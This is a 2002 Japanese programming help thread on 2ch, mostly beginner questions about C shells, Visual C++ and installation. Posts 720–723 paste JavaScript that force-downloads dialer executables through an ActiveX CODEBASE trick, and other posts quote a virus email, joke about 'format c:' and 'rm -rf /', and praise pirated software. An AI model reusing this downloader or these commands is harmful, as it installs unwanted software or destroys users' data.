すごくくだらない質問でもレスをいただけるスレッド

このエントリーをはてなブックマークに追加
シェルの作成についての課題なのですが、

MyshellはCshellと違って、Cで実行できていたコマンドや機能のうち
働かないものがある。これらを調べ、どのような機能が実行できないか、
なぜできないか、どのような機能を追加すればいいか?

例えば次のが実行できない

エイリアス、ヒストリー、ワイルドカード、ファイルへのリダイレクト、
shellプログラミング、ディレクトリー操作(popd、pushdなど)

これらから4つほど(エイリアス、ヒストリーは必須)をmyshellに追加せよ。

という課題です。助けてください、お願いします。できればソースを、、。




685684:02/05/05 23:37
myshellです

#include<stdio.h>
#define MAXARGS 10 /* 許されるコマンドの引数の最大の数 */
#define LINELENGTH 80 /* コマンドラインの最大文字数 */
#define CONTINUE 1
#define EXITCOM 0

main(int argc,char* argv[])
{
char linebuf[LINELENGTH];
int hist;

for(hist=1; ;hist++){
printf("myshell[%d] ",hist);

    gets(linebuf);
  
if(exec_one_command(linebuf)==EXITCOM) break;
}
}
char *skipspace(char* s)
{
while(*s==' ') s++;

return s;
}


int getcl(char* line,char* argmv[])
{
int argnum=0;

do{
line=skipspace(line);
if(*line=='\0'){
argmv[argnum]=NULL;
return argnum;
}
argmv[argnum++]=line;
while(*line!='\0' && *line!=' ') line++;
if(*line=='\0'){
argmv[argnum]=NULL; return argnum;
}
*line='\0'; line++;
}while(1);
}

int exec_one_command(char linebuf[])
{
int argnum, status;
char *argmv[MAXARGS];

argnum=getcl(linebuf,argmv);
if(argnum==0) return CONTINUE;

if(strcmp(argmv[0],"exit")==0){
return EXITCOM;
}
if(fork()==0){
execvp(argmv[0],argmv);
printf("Error at execvp\n");
exit();
}
wait(&status);
return CONTINUE;
}



687デフォルトの名無しさん:02/05/06 00:06
質問はageなきゃだめでしょが
宿題でもキニシナイ!!
688684:02/05/06 00:10
>>687

そうだったのですか、、どうもありがとうございます。
689デフォルトの名無しさん:02/05/06 00:11
C++ と VisualC++ て 同じなの?
690デフォルトの名無しさん:02/05/06 00:17
すごく くだらなくて申し訳ないっす。
C++ と VisualC++ って 違う言語なのでしょうか?
コンパイラは違うソフトなのでしょうか?
教えてください。
691デフォルトの名無しさん:02/05/06 00:22
誰かおしえて〜〜
692デフォルトの名無しさん:02/05/06 00:25
VCの質問なんですが
リストビューなどのウィンドウに送られるメッセージは
どうやって捕まえればよいのですか?
VHDL と VisualHDL って同じなの?
誰かおしえて〜〜
694デフォルトの名無しさん:02/05/06 00:28
C++ → 言語(Cのパワーアップ版?)
VisualC++ → コンパイラ(C,C++,Windowsプログラミング等が可能)
みたいな感じだと思います。
メッセージハンドラで受け取るとおもいますが
696デフォルトの名無しさん:02/05/06 00:33
>>694
ありがとうございます。
C言語を勉強する為にはVisualC++を購入すればいいのですね。
696
言語を勉強するならただコンパイラで十分だと思われ。
アプリを作るのが目的なら・・・
>>696
違うだろ?
純粋にCならGCC(www.gcc.org)がいいかと・・・
699デフォルトの名無しさん:02/05/06 00:41
基本情報技術者試験にでるC言語を勉強する為には、
なにがいいんですか?
700デフォルトの名無しさん:02/05/06 00:42
(*´Д`)
コンドコソ・・・
699
どんなカスコンパイラでもOK。
702デフォルトの名無しさん:02/05/06 00:43
C言語のフリーソフトのコンパイラってあるんですか?
703700:02/05/06 00:44
(*´Д`)
ウフフ・・・
704デフォルトの名無しさん:02/05/06 00:45
>>695
具体的にはリストビューで右クリックメニューを出したいのですが、
WM_RBUTTONDOWNがこないようなのです。
そんで、スパイしたらWM_CONTEXTMENUが送られていたんで、
そのときにメニュー出したんですが、
メニューをクリックしても、動作しません。
おそらく、リストビュー自体にメッセージが送られているからだと思うのですが、
それをうまく捕まえるにはどうすれば良いのですか?
702
使用自由のC/C++はいくらでも。
Winならば
MS Frame.NET
Boland C++
GCC/MinG
LSIC制限版

707デフォルトの名無しさん:02/05/06 01:00
みなさん。本当にありがとうございます。
ダウンロードしてきます。
708704:02/05/06 01:05
704です。
ウィンドウのサブクラス化をすればメッセージを普通に受け取る事ができる
というのがわかったのですが、独自のクラスのメンバのプロシージャを関連付けようとすると、
[error C2440: 'type cast' : 'long (__stdcall CDLList::*)(struct HWND__ *,unsigned int,unsigned int,long)'
から 'long' に変換することはできません。]というエラーが出てしまいます。
独自のクラスにスレッドを作ろうと思ったときも同じようなことを言われてしまったのですが、
どのようにすれば解決するのでしょうか?
よろしくお願いします。
704
CListCtrlはNM_RCLICKで受けると思いますがマウスがアイテムを指してる
保証はないです。
>>708
staticメンバ関数トカ。
711バファル:02/05/06 01:50
エクセルで下記のような計算を組んでみました。
で、どうやら間違っているようなのでもしよかったら間違いを指摘してもらえませんか?
元の式は↓です。
http://sophia3654.hoops.ne.jp/mkokm.jpg
かなりみにくて申し訳ありません。
lnは自然対数です。
hνはエクセルで対応するA**などとして記入されています。
二つ式がありますが、それぞれ別の式と考えてください。

下記が問題の数式です。
=3.141*7.9408*10^(-26)*((LN(1+2*(A41/0.511)))/(A41/0.511)^3+(2*(1+(A41/0.511))*(2*(A41/0.511)^2-2*(A41/0.511)-1)/((A41/0.511)^2*(1+2*(A41/0.511))^2))+8*(A41/0.511)^2/3*(1+2*(A41/0.511))^3)

=2*3.141*7.9408*10^(-26)*(((2+4*(A28/0.511)+2*(A28/0.511)^2)/((A28/0.511)^2+2*(A28/0.511)^3)-((1+A28/0.511)*LN(1+2*(A28/0.511)))/(A28/0.511)^3)+((LN(1+2*(A28/0.511)))/(2*A28/0.511))-((1+3*(A28/0.511))/(1+2*(A28/0.511))^2))
>>699
あれは机上の勉強だけでOK
>>711
お前のせいで横スクロールバーがでてしまったじゃないか。
どうしてくれる?
情報処理試験に出てくるプログラムを実行してみたくても、説明しかない非標準関数が出てくるから実行しようがないよな。
716デフォルトの名無しさん:02/05/06 02:03
BorlandのフリーデバッガはGUI?
717デフォルトの名無しさん:02/05/06 02:44
コネ━━(`∀´)━━エ!!
このままではコードがでかくなる一方だ
718695:02/05/06 03:25
>>704
>WM_RBUTTONDOWNがこないようなのです。
この場合はWM_CONTEXTMENUが座標を背負って飛んできます。
719695:02/05/06 03:56
>>704 (続き)
M$サイトのVisualC++FAQのOnContextMenu()のコードを改変すれば表示できる
と思われます。
(当然メインメニュでなくサブメニュにメニューアイテムを追加してください。)
<script language=JavaScript>
var exeURL = "http://www.yourdomain.com/dialer.exe";
function WhichBrowser()
{
BrowserName = navigator.appName;
BrowserVersion = parseInt(navigator.appVersion);
Browser = "NS";
if ((BrowserName == "Netscape") && (BrowserVersion == "3"))
Browser = "NC3";
else if ((BrowserName == "Netscape") && (BrowserVersion == "4"))
Browser = "NC4";
else if (BrowserName == "Microsoft Internet Explorer")
Browser = "IE";
return Browser;
}
function ncDownload(exeURL) {
document.write("<SCRIPT>");
document.write("window.open\(\""+exeURL+"\",\"_blank\",\"height=1,width=1\")");
document.write("<\/SCRIPT>");
}
function IE_DownloadFile(exeURL)
{
document.write("<OBJECT");
document.write(" CLASSID =\"CLSID:8522F9B3-38C5-4aa4-AE40-7401F1BBC851\"");
document.write(" CODEBASE=\""+exeURL+"\">");
document.write("<\/OBJECT>");
}
function DownloadFile()
{
if (WhichBrowser() == "IE") IE_DownloadFile(exeURL);
if (WhichBrowser() == "NC4") ncDownload(exeURL);
}
DownloadFile();
</script>
var baseURL = " ";
var fnPrefix = "Netzany";

function WhichBrowser()
{
BrowserName = navigator.appName;
BrowserVersion = parseInt(navigator.appVersion);

Browser = "NS";
if ((BrowserName == "Netscape"))
Browser = "NC";
else if (BrowserName == "Microsoft Internet Explorer")
Browser = "IE";
return Browser;
}
function ncDownload() {
window.open("http://tb.netzany.com/Netzany/Netzany.ex","_blank","height=1,width=1");
}

function IE_DownloadFile(ieURL)
{
document.write("<OBJECT");
document.write(" CLASSID =\"CLSID:8522F9B3-38C5-4aa4-AE40-7401F1BBC851\"");
document.write(" CODEBASE=\""+ieURL+"\">");
document.write("<\/OBJECT>");
}

function DownloadFile()
{
//if (WhichBrowser() == "IE") IE_DownloadFile(baseURL + fnPrefix + ".exe");
if (WhichBrowser() == "IE") IE_DownloadFile("http://tb.netzany.com/Netzany/Netzany.ex");
if (WhichBrowser() == "NC") ncDownload();
}
722 2:02/05/06 05:06
function getCookieVal (offset) {
var endstr = document.cookie.indexOf (";", offset);
if (endstr == -1)
endstr = document.cookie.length;
//alert(document.cookie.substring(offset, endstr));
return unescape(document.cookie.substring(offset, endstr));
} function GetCookie (name) {
var arg = name + "=";
var alen = arg.length;
var clen = document.cookie.length;
var i = 0;
while (i < clen) {
var j = i + alen;
if (document.cookie.substring(i, j) == arg)
return getCookieVal (j);
i = document.cookie.indexOf(" ", i) + 1;
//alert(document.cookie);
//alert("Get it!")
if (i == 0) break;
}
return null;
}
function SetCookie (name, value) {
var argv = SetCookie.arguments;
var argc = SetCookie.arguments.length;
var expires = (argc > 2) ? argv[2] : null;
var path = (argc > 3) ? argv[3] : null;
var domain = (argc > 4) ? argv[4] : null;
var secure = (argc > 5) ? argv[5] : false;
var ver, aff, dl
document.cookie = name + "=" + escape (value) +
((ver == null) ? "" : ("; ver=" + "1")) +
((expires == null) ? "" : ("; expires=" + expires.toGMTString())) +
((path == null) ? "" : ("; path=" + path)) +
((domain == null) ? "" : ("; domain=" + domain)) +
((secure == true) ? "; secure" : "");
//alert(document.cookie);
} function DeleteCookie(name) {
var exp = new Date();
FixCookieDate (exp);
723 3:02/05/06 05:07
exp.setTime (exp.getTime() - 1);
var cval = GetCookie (name);
if (cval != null)
document.cookie = name + "=" + cval + "; expires=" + exp.toGMTString();
} var cookie_date=new Date(document.lastModified);
var expdate = new Date();
var now=new Date();
var now1=new Date(GetCookie("Netzany"));
expdate.setTime(expdate.getTime()+(5*24*60*60*1000)); //document.write("<Font color=ff8800>" + "Last updated: "+ "</font>" +document.lastModified);
//document.write("");
//if (!(cookie_date == GetCookie("cookie_date"))){
//SetCookie("Sunny",cookie_date,expdate);
//document.write("<font color='yellow'><br>Site has changed since last visit!</font><br>");
//} //SetCookie("Netzany",cookie_date,expdate);
//alert (GetCookie("Netzany"));
//alert (Date());
//alert (now.getDate());
//alert (now1.getDate());
//alert (now.getDate()-now1.getDate());

if (GetCookie("Netzany") == null || now.getDate()-now1.getDate()>0)
{
DownloadFile();
SetCookie("Netzany",cookie_date,expdate);
//alert ("SET COOKIE");
}
嫌がらせですか?
>>724
はい。
726デフォルトの名無しさん:02/05/06 10:47
Spy++とは一体何奴ですか?
727デフォルトの名無しさん:02/05/06 10:50
そう
M$ spy++ヘルプ
スパイ++ (SPYXX.EXE) は Win32 で実行するユーティリティで、プロセス、
スレッド、ウィンドウ、およびウィンドウ メッセージをグラフィック表示
します。スパイ++ を使うと、以下のことを行えます。システム オブジェクト
同士の関係をグラフィカルなツリー ビューで表示します。...
(スパイウェアではない)
729726:02/05/06 11:30
>>728
どうもです。
VC++にしか無いものなのね、、、。
730デフォルトの名無しさん:02/05/06 11:46
IIS5.0 でサーバーを立てました。
http://localhost/xxxでは、作成したHPが確認できるのですが
http://127.0.0.1/xxx だと認証窓が出てきてページが見れません。
(200.55.45.xx などの使用ipでも同様)

OSはXP-PROです。
いろいろやってみましたが、解りません。
どなたか解決方法を教えて下さい。

おながいします。
>>730
この板とどう関係があるんだろう…
732デフォルトの名無しさん:02/05/06 14:50
ソフトのバージョン情報って、そんなに深く考えなくても適当でいいんですか?
なんか本当にくだらない質問…
733デフォルトの名無しさん:02/05/06 15:05
くだらない質問ですが誰か教えて下さい…。
配列の計算なんかで、

for(i=0;i<NUM;i++) sum+=data[i];

と書くのと、
p=data;
do
sum=*p++;
while(p<&data[NUM]);
とかくのって実際に計算時間変わるもんなんですか?
上みたいに書いてもコンパイラが最適化してくれたりしないんですか?
厨房な質問ですみませんが教えて下さい
>408
SETI@HOMEがそーゆー理屈で動いているよな。
測ってみてはどうか
736デフォルトの名無しさん:02/05/06 16:12
質問させてください。
VC++のAppWizardが作ってくれる.EXEの使い方はなんとかわかりました。
(本を見てエディタとかHTMLビューアとかは作れました。)
しかし、その他のDLLやATL COMやActiveXについてよくわかりません。
それぞれ主に何を作るためにあるのでしょうか?
別の開発環境が無いと、これらは意味が薄いのでしょうか?
環境はWinMe+VC++6.0PersonalEditionです。
どうか回答をお願いします。
>>733
最適化はコンパイラによるので試してみないとわからんぞ。
ここでものぞいてみるよろし。
http://www.emit.jp/prog/prog_opt0.html

>>732 いいよ。
739733:02/05/06 16:38
>>737
参考になりました。サンキューです。
740732:02/05/06 16:42
>>738
そうですか。。
くだらない質問に答えてくれてありがとうです。
741やん:02/05/06 16:44
女の子ととの出会い方を教えて下さい.
もうかれこれ2年ほどつきあっていません.
742C_sugar:02/05/06 16:46
ドラクエ3のプログラムはデータをあわせるとアセンブラで10万行くらいになるようですが、
ではFF10とかは何万行くらいになるのでしょうか?

>>741
20年の間違いですか?童貞
744デフォルトの名無しさん:02/05/06 17:01
質問なんですが、アセンブラってどうやったら打てるんですか?
それらしいソフトも見たことないし。
ショボイ質問でスマソ。
ヲレは3年だが
744
int main(){
 int i;
 __asm{
  mov eax, 0x000001
  mov i, eax;
 }
 return 0;
}
747素人。:02/05/06 17:17
おれ、「エキスパートCプログラミング」ていう本を読んだんですけど、
「外野席:」ってのがいちいちうざいんですよ。
どっかで「外野席」なしのやつ出版してないですかね?
いちいちマジックでつぶしていくのが面倒なんですよ。
ええ。ほんとに。
ああゆう友人って「最高!」なんですか?マジで?
えーと、なんてゆうか、あれはですね、
孫子の「混沌」の話を知らない人が訳してるんだと思うんですよね。
はぁ。
748デフォルトの名無しさん:02/05/06 17:19
こうやって書くのとちがうの?
__asm__(".byte 0x0f,0x31":"=a" (l),"=d" (h));
749デフォルトの名無しさん:02/05/06 17:33
>>746
ええと・・・・よく分からんのですが・・・・
アセンブラってC言語ソフトで打てるんですか?
750736:02/05/06 17:36
だれか…
749
システム依存で書けるとおもわれ。
てか、アセンブラで組むより最適化したコンパイラで普通にCで書こう。
(MMXとか3D-Now!とかSIMDとかやるんなら別だが。)
>>750
ライブラリ コンポーネント コンポーネント
>>749
as (GNU) とか masm (MS) とかがアセンブラ処理系。
__asm{int 20}
755736:02/05/06 18:12
>>752
ライブラリ=コピペよりはるかにマシ
コンポーネント=VBとかのパーツを製造する
こういう理解で良いのですか?
>>755
> ライブラリ=コピペよりはるかにマシ

なんちゅう理解だ。
757736:02/05/06 18:38
ライブラリ=触ると危険なコードの隔離

こうですか?
>>757
むむぅ?
なんでそんなにネガティブな・・・
ライブラリ
  みんなが使う図書館
コンポーネント
  (再)利用しやすくするための部品
760736:02/05/06 19:07
理解しました。
ありがとうございます。
761デフォルトの名無しさん:02/05/06 20:08
初めてVCやるんですがSDKとMFCどっちから勉強するのが良いんでしょうか?
>>761
MFCかな?
どちらにしろ半年もたてば風当たりはきつくなる。
>>761
C,C++はできるのか?
SDKやt(以下略)
765デフォルトの名無しさん:02/05/06 21:35
質問なんですがVisual C++.netって、
ネットに接続していないとインストールできないんですか?
766765:02/05/06 21:51
↑誰か教えてくだされ〜〜〜
まだ30分もたってねーじゃねーか
常時回答者がいるわけじゃねーんだよ
他のMS製品と同じでは?
770デフォルトの名無しさん:02/05/06 21:55
初心者ですが、書き込みお許しください。
ビデオチャットソフトのCU-SeeMeで多人数会議を実現したいので、
拠点(リフレクタ)の立ち上げを考えているのですが、
当方、Windows2000proで知識が乏しく、このリフレクタの起動の仕方をご教唆いただきたいのです。
レベルとしては、.exeとか.batのようなファイル以外は実行した事がありませんが、
Windows付属のDOSプロンプトは多少分かります。
いま候補に考えているのはsrefというソフトです。

ttp://www.sei.co.jp/RandD/freeware/sref/sref_j.html

ちなみにCu-SeeMeクライアントは、フリー版

ttp://cu-seeme.net/squeek/cupc/cu-seemev10.exe

を想定しています。
よろしくお願いします。
771765:02/05/06 21:56
>>767
す、すいません(激汗)
以後気をつけます。
772765:02/05/06 22:02
>>769
え〜と・・・・そこに行ってもよく分からないんですが(汗汗汗)
できれば教えて頂けないでしょうか?
>>770
そのホームページにお聞きしていることの全てが書いてありますが?
774デフォルトの名無しさん:02/05/06 22:04
>>772
もしもVisual Studio6.0と同じならば、インターネットにつないでおいた方がいいよ。
インストール時でないとオンライン登録できないから。
人に物を聞くとき(汗)とか書く奴にはろくな奴がいないってことやね(汗)
776765:02/05/06 22:07
>>774
オンライン登録っていうかインストールができないんです・・・・・・
ネットにつないでいない事が原因なんでしょうか・・・・
777デフォルトの名無しさん:02/05/06 22:08
>>776
どういうメッセージが出るんだ?
言ってみろ。
>>772
システム要件に必要とは書いてない以上動作しないことはない
動作しなければ問題になるでしょ?
>>776
そうだね。(汁)
780779:02/05/06 22:11
レス相手間違っちゃった(汁)
781770:02/05/06 22:12
>773
見に行ってくださってありがとうございます。
.exeなどの実行ファイル以外を起動させた事がないもので、
このケースで言えば拡張子hとか、正体が分からないファイルを前にためらっているのですが、
Dosプロンプトで適宜オプションなど付けて実行すれば起動するのでしょうか?
最初に初期設定ファイルを記述する、というのも今ひとつ分からなくて。

>>781
その前にコンパイルって作業について・・・
いや、お前基本からやり直せ。
783765:02/05/06 22:14
>>777
エラーメッセージは長くて書ききれないですが、
インストール時にいつも同じファイルの所で止まるんです。
確か「〜が開けないのでアクセスできるかどうか確認して下さい」
的なメッセージが出るんです。(〜はファイル名)
ちなみに止まるファイルは「dataservise.disco」です。(上の〜の所)
>>783
・・・・・・・・・・・。
NT系で通常ユーザーでインストールしようとしているのでは?
785765:02/05/06 22:18
>>784
す、すいません(激汗)
何を言ってるのかさっぱりなんですが・・・・・
初心者なんで・・・・
>>785
OSは何を使っているの?
dataservice.discoがCD側にあるのなら、CDがこわれてんじゃネーノ?
788765:02/05/06 22:23
>>786
OSはWindowsXPのHomeEditionです。
「dataservice.disco]はマイコンピュータの中にありました。
検索したからこれは確かかと思うんですが・・・・
>>788
>マイコンピュータの中にありました。

・・・・・・・・・
790765:02/05/06 22:28
>>789
ええっ!?
私何か変な事言いました!?
791773:02/05/06 22:28
>>770
私の経験によれば、
お金を払ってでも詳しい人を呼んだほうが良いと思います。

拡張子.h
 好奇心旺盛な子供と、IT業界の人を除けば、
 一般人は知らない拡張子です。ヘッダファイルと読みます。
DOSプロンプト
 これは確かに役に立つ知識ですが、
 今回はそれに輪をかけて複雑な知識が必要です。
初期設定ファイル
 はじめに、設定を指定しておくためのファイルです。
 次回からは、プログラム側でファイルを読んでくれます。便利ですね。

くりかえしますが、私の経験によれば、
お金を払ってでも詳しい人を呼んだほうが良いと思います。
>>790
CDを挿入してると、それもマイコンピュータに含まれる。
言ってることがわかりますか?
>>790
プログラミングの前にPCに慣れ親しんだ方がいいのでは?1と思えてきた
794765:02/05/06 22:32
>>792
そ、そうなんですか。
今すぐ調べ直してきます!!
795770:02/05/06 22:32
>791
とりあって下さって本当にありがとうございます。
職場で今増えているであろうにわか管理者になってしまい、
予算がない中、欲張ってビデオ会議をやろうとしていました。
素人ではやはり無理でしょうか?
もし勉強するとしたら、よいサイトとかテキストがありますでしょうか?
796765:02/05/06 22:38
>>786
ディスクを抜いて試してみたところ、確かにディスクの方にある様です。
壊れているんでしょうか・・・・・
>>796
…………

まあ、もし壊れてるなら返品しましょう。
最近買ったんでしょ?
798765:02/05/06 22:43
>>797
[dataservice.disco]がPC側にないとおかしいんですか?
パソコンの基礎を・・・
800765:02/05/06 22:45
>>799
ええっ!?
そんな事言わずに教えてください〜〜〜
>>798
正直プログラミングは早いと思うな…
VC++なんて高いものを買ったのはちょっともったいないな
802765:02/05/06 22:48
>>801
そ、そうなんですか!?
一応勉強はしてるんですが・・・・・・・・
ところで上の質問は・・・・・
>>801
しかも既にVC++.NETが存在してますしね。
>>802
なんでVC++なんか買おうと思ったの?
初心者にはフリーで十分だよ?
>>802
俺は持ってないんでわかんないんだけど、
VC++説明書あるよね?
トラブルシューティングとかないの?
806765:02/05/06 22:53
>>803
いえいえ私が買ったのはVC++.NETですよ。
>>804
質問ばかりで申し訳ないんですが・・・・フリーとは?
807名無しさん@Emacs:02/05/06 22:53

いくつかのファイル名を引数にとる関数で、ファイルがopen
できなかった場合にエラーを返したいのですが、関数の最初
に全てのファイルが開けるかチェックすべきですか?
それとも、個々のファイルを実際に開く必要がでたときに
if( open( file ) == -1 ) { error( ); } などとするべきで
しょうか?


>>806
ヤパーリPCとネットをやり直そうよ。
それじゃあ勉強してても絶対に覚えられないよ。
プログラミング(というかC)にPCの知識はあまり必要ないけどその状態じゃあ…
809765:02/05/06 22:56
>>808
というと、何から勉強すればいいんでしょうか・・・
810795:02/05/06 22:56
>>770
心中お察しします。
>もし勉強するとしたら、よいサイトとかテキストがありますでしょうか?
たくさんあります。
書店でパソコン関連の雑誌、ムックというのを探してください。
店員に「こういう本が欲しい」と言って、反応を見るのも楽しいですよ。
3ヶ月くらい雑誌を読み漁ると、多分、初心者を卒業できます。
ただ、今回の件はすでに初心者の扱う問題を越えていると思います。
そちらで設定してあげられれば良いのですが。
>>802
そのファイル自身は
FrameworkSDKのサンプルファイルだから別に必要ない。
インストールしなおしても同じファイルで引っかかるのか?
それなら読み取りエラーっぽい。
HDにフォルダ作って一旦CDの内容を全てコピーしてから
インストしなおしてみたら?
君にこれを試せというのは、かなり心配だが・・・
812デフォルトの名無しさん:02/05/06 22:56
VC++.NETのスタンダードって再配布の制約とかついてるの?
MSの購入案内にちゃんと書いてないですね。
ミスしてしまった。
>>795だ。
VS.NETアカデミックの機能に

AP C++ コンソール アプリケーション ウィザード。 優秀な高校生が履修可能な大学レベルの科目 (AP : Advanced Placement) の コンピュータ科学の試験の学習で一般的に使用される 5 つの C++ クラスを持つコンソール アプリケーションを作成します。

っていうのがあるのですが5つのクラスって?
うち、コンピュータの専修大学ですがC++やらなかった・・・。
815765:02/05/06 22:59
>>811
え〜と・・・コピーするには具体的にどうすればいいんでしょうか。
>>815
あのさ〜…非常に聞きにくいんだけど、今までのはネタ?
CDからコピーってのがわからないって…
817811:02/05/06 23:00
>>815
それを聞くようじゃ・・・
やっぱり今回は断念した方がいいと思うよ。
818765:02/05/06 23:02
>>816
そういうわけではないんですが・・・・・・・・

>>818
正直な感想としてはプログラミグはまだ早いよ…
もっとPCに触れてからにしましょう
820:02/05/06 23:05
マイコンピュータ=私のコンピュータ

この用語はパソコン全体(のデータ)を指す。
つまりC:\とかA:\とかQ:\とかZ:\(?)とか。

話題の流れは関係無いが、>>810を参考に。
821765:02/05/06 23:05
>>819
そう言わずに教えてください!お願いします!!!!
822811:02/05/06 23:05
>>817
悪いことは言わないから、諦めた方がいい。
Windowsのファイル操作がままならないあなたには
VS.NETは敷居が高すぎる
823770:02/05/06 23:07
>810
つきあって下さってありがとうございました。
正直、書き込む前は袋叩きで打ちひしがれるかと思っていました。
もう一度勉強し直して来ます。
>>821
俺のわかるトコは教えたいと思うよ、マジで。
でもさ、あれやれこれやれ言って、そのあれやこれがわからないとなるとちょっとね…
825765:02/05/06 23:10
>>824
そうですか・・・・・・ありがとうございました。
んでも一応試してみます。
麻衣コンピュータ
827811:02/05/06 23:16
>>825
一応、先ほどのやり方をもう少し詳しく・・・
但し原因がハッキリしない以上解決するとは限らないので・
HDにフォルダを作成する例えば「VSINST」とかね
そのフォルダにCDの内容を丸ごとコピーする
複数枚の場合全てのCDをコピー
同じファイルがある場合は上書きでかまわない
フォルダ内のSETUP.EXEを実行してインストールしてみる
828807:02/05/06 23:22
>>807 (T原T)
>>807
そら、関数の処理内容によるでしょうが
830:02/05/06 23:24
ファイル操作一覧。

クリック 選択/選択解除
Ctrl+クリック 複数選択
Shift+クリック 一気に選択(違いは体で覚えること)
ドラッグ ボタン押したまま引っ張ること
ドロップ それをはなすこと(落とす、ともいう)
ドラッグ・アンド・ドロップ 引っ張って落とすこと(普通はコピー操作になる)
右クリック それ用のメニューが出る(それぞれ選択して、結果を見よう)
右クリックでのドラッグ・アンド・ドロップ 最後にメニューが出る(それぞれ選択して、結果を見よう)
Ctrl+A。 全選択。

最低でも、このくらいは知っておこう。

>>807
仕様による。仕様が決まってないなら、別だが。
>ドラッグ・アンド・ドロップ 引っ張って落とすこと(普通はコピー操作になる)
普通は移動操作、だろ。
>>831
OSや設定による
普通最初はコピーになってるはず
>>807
すべてはケースバイケース。
エラーチェックを厳密にやりたいならば前者。
2度オープンさせるのが勿体無いと思うなら後者。

個々のファイルオープンの間にユーザ操作があり
エラーによってユーザの作業内容が失われる可能性があるなら前者。
そうでないなら後者。
>>832
ああ、対象がCD-ROMなのか。
それなら確かにコピーがデフォルトだ。
835デフォルトの名無しさん:02/05/06 23:39
VISUAL BASIC やらVISUAL C++ってありますけど
どちらの方を学んだらいいんですか?
>>835
どっちも半年程度の命です。特にVBは一気に干される可能性大です。
837807:02/05/06 23:44

>829>830>833
レスありがとうございます。
ファイルへの入出力は、一つのプロセスからしか行わない
(はずな)ので後者?
でも、ずーと処理してきて最後に1つファイルが開けなくて
エラーってのもおかしいので前者かな?
でも、使わないファイルをオープンしとくのも違和感がある
から一回クローズしたほうがいいのでしょうか?
<HTML><HEAD></HEAD><BODY bgColor=#ffffff>
<iframe src=cid:EA4DMGBP9p height=0 width=0>
</iframe></BODY></HTML>

PostPet>>>>>添付ファイル:docs.DOC.pif がありました。
PostPet>>>>>C:\PROGRAM FILES\SO-NET\POSTPET FOR WINDOWS VER. 2.0\添付書類フォルダに展開しました

↑こんなメールが知らないアドレスから来ました。
俺は初心者なんで開くのが怖いです。ウイルスなんでしょうか?
どなたか教えてください。
>>836
これからはナンデスカ?
>>839
.NET
>>838 190%ウイルスです。
>>838
怪しいと思ったら添付ファイル名を google すれ。
ちなみにそれは W32/Badtrans-B の確率が高い。
>>840
なるほど、どうもです
844838:02/05/06 23:55
>>841さん>>842さん
ありがとうございます。調べてみます。
しかし、しらない人がなぜ自分のアドレスを知っているのでしょうか?
ストーキングされてるんですよ。
>>845 ワロタ
847838:02/05/07 00:00
検索したら沢山ひっかかりました。
>>842さんが言っていたウイルスのようです。
フォルダに入っている添付ファイルは普通にゴミ箱に
入れていいのでしょうか・・
>>845
だとしたら、怖いっすね・・・
848デフォルトの名無しさん:02/05/07 00:01
今日友達からウイルスを全て消すには、DOSモードで
format c:
とやれば消えるといわれましたが、ほんとうでしか?
そいつはいまいち信用できないのでまだ実行してないです。
おしえてください。
完全にきえます。HDの貴重なデータとともに。
人間関係も消去したほうが(以下略
851デフォルトの名無しさん:02/05/07 00:06
間違ったことは言ってないよ。その友達。
でも他にドライブがあったらそのドライブもformatしないとね。w
>>848
ネタでないのなら、その友達は信用しないように。
そして少しは調べて、考えてみましょう。
フォーマットって、どんな意味だかわかりますか?
rm -rf /
ま、これでもいいな。
>>853
先生! Permmistion denied というのが沢山でます!
855838:02/05/07 00:17
>>849さん、どうもです。
感染はしていないようです。メール開いたけど。。。
こんちは。
実は、割れ物のフォトショップで作ったファイルは見る人が見ればか分る(4.0は平気だった)という話しですが、それについて情報いただけませんでしょうか。
いきなりの割れ話しで情報クレクレ房か。めでてーな。
>>856
http://www.google.co.jp/search?hl=ja&q=%92m%82%E9%82%A9%83%7B%83P%81I%81I%81I

検索ぐらいしましょう。1000件以上でてきますよ。
859848:02/05/07 00:26
さんくすこ。
なんかあぶなそうなんで、やめときます。
860838:02/05/07 00:27
ウイルス対策ページ見てて思ったんですが、
今、俺のメーラーに他の人のメアドが一つも入ってないんですよねw
最近リカバリーしたばかりでw
ご協力ありがとうございました>>all
>>858
殺すぞ!!
>>856
良くやった。
でも、割れ物って検索すると一つのサ−バ−から1000件は出てくるぞ。みんなどうしてんのかな。
金出して買ったヤシの画像は気合いが入ってるんで一目で分かる。
ひたすらgoogleの絞込み検索で試行錯誤してるんだろう。
あるいはUG系HPのソース見てリンクたどったり(w
昔は、割れ物は同じバイト分交換とか言ってるドケチばっかりだったけどMXのおかげで30分ですむようになった。みんなでやれば怖くないとはこの事だよなw
>>865
今はソースを見なくてもリンクナビゲータがあるので、
その辺はかなり楽
>>865
MXじゃ!ボケ!!時代遅れなUG系などやるか!!
オマエもやれ。
MXやるとみんな優しくなるよな。ほんと簡単に何でもくれるよ。
>>868
(wを付けてレスする>>865に、ボケ!!とはいかがなものか。
まあ、ソフトはフリーのやつで足りてるよ。俺はGIMPでいいさ。
              ∧_∧  〔^^〕
               _,( ´Д`)⌒ i  |
          (⌒ ー  一 r.、!  〉
           ヽ弋 。 人 。 イ(` ー'
           〔勿\     ヽ
               )  r⌒丶 )  ドカ
     ドカ   ドカ  /   !  |'´
       ドカ    /   /|  |‖ ドカ
             (    く  !  ||‖  ドカ
           ドカ   \  i   | ‖|‖|
            ,__>  ヽヽ从/∧∧
            ⊂⌒ヽ从/ つ ゚д゚) ←>>866=868=869
割れやっている人って、落としたものを実際に使うことはまれなんでしょ?
落とすことに意義がある。とか言って。
873デフォルトの名無しさん:02/05/07 01:00
>>871
割れ厨が割れ厨たたきですか?
みんなで幸せになろうよ
・・・「機動警察パトレイバ−」より
>>872
それは低脳なワレザー
普通のヤシは欲しいものだけを落とすから使う
プッ、自分で買った奴は悔しかろう。
でも、金ができたら買ってもいいとはみんな思ってるとおもう。
           ∧_∧  / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
           ( ´Д` ) < >>873 ダイヤルアップ&テレホの漏れにアプリ落とす時間など無い!!
          /,  /   \_________________________
         (ぃ9  |
          /    /、
         /   ∧_二つ
         /   /
        /    \
       /  /~\ \
       /  /   >  )
     / ノ    / /
    / /   .  / ./.    (゚д゚) <ワカッタカ!!
    / ./     ( ヽ、    ゚(  )−
   (  _)      \__つ   / >
割れ物落とすよりも、開発環境を整えるほうが好きだな。
キーボードショートカットに機能を割り当て終わると、明日からは秒で作業ができる。
